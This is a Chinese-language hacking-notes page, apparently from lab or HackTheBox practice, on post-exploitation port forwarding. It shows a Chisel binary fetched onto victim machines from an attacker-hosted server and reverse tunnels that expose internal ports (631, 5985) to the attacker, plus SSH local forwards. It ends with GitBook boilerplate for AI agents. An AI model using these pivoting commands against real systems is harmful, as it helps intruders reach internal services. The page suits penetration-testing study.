> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/post-exploitation/port-forwarding-techniques.md).

# 端口转发技术

{% hint style="info" %}
**端口转发** 是一种网络技术，它将连接从一台机器上的特定端口重定向到另一台机器或端口。这通常用于通过防火墙或路由器从外部访问内部服务。
{% endhint %}

<pre class="language-bash"><code class="lang-bash">netstat -tuln
<strong>netstat -ano | findstr LISTENING
</strong></code></pre>

## Chisel：

### Linux

我们首先在本地机器上编译了 Chisel：

{% embed url="<https://github.com/jpillora/chisel>" %}

```bash
git clone https://github.com/jpillora/chisel
```

```bash
go build -ldflags "-s -w" .
upx chisel
```

然后通过 Python3 HTTP 服务器将 Chisel 可执行文件传输到受害者机器：

```bash
python3 -m http.server 8080
wget http://10.10.14.4:8080/chisel
```

<figure><img src="/files/0dba193051958ceef5d0912c737a41c07e1c71cb" alt=""><figcaption></figcaption></figure>

在我们的机器上，我们启动了 Chisel 服务器：

<pre class="language-bash"><code class="lang-bash"><strong>./chisel server -p 8888 -reverse
</strong></code></pre>

在受害者机器上，将 Chisel 客户端配置为将 631 端口转发回攻击机：

```bash
./chisel client 10.10.14.4:8888 R:631:127.0.0.1:631
```

<figure><img src="/files/cafb298d6788e95497054901e7474bf14084f79f" alt="" width="563"><figcaption></figcaption></figure>

### Windows

{% embed url="<https://github.com/jpillora/chisel/releases>" %}

**下载并准备文件：**/ 我们下载了压缩的 **Chisel** 文件，即：

* `chisel-linux`
* `chisel-windows.exe`

{% embed url="<https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_linux_amd64.gz>" %}

{% embed url="<https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_windows_amd64.gz>" %}

解压文件后，将 **Chisel** 二进制文件传输到 Windows 目标机：

```bash
copy //10.10.14.3/smb/chisel-windows.exe chisel-windows.exe
```

<figure><img src="/files/f03abc48fc0bd156c340288e617b03ba3df0e283" alt=""><figcaption></figcaption></figure>

**使用 Chisel 在攻击机上监听：**/ 启动 **Chisel** 在攻击机上的 8888 端口以服务器模式：

```bash
./chisel-linux server -p 8888 -reverse
```

然后，在 Windows 机器上，执行 **Chisel** 以客户端模式，并将 5985 端口转发回攻击机：

```bash
chisel-windows.exe client 10.10.14.3:8888 R:5985:127.0.0.1:5985
```

<figure><img src="/files/1d7f4e4155ac79cc72b134c99897883376ac26f8" alt=""><figcaption></figcaption></figure>

## SSH：

我们将内部端口转发到我们的机器，并使用私钥并设置正确的权限：

```bash
chmod 600 id_rsa
```

```bash
sudo ssh -L 8086:127.0.0.1:8086 -L 8443:127.0.0.1:8443 -L 5000:127.0.0.1:5000 patrick@devzat.htb -i id_rsa
```

<figure><img src="/files/cd5748c28e532757a55fbd84b71b81c8aa23387b" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/post-exploitation/port-forwarding-techniques.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
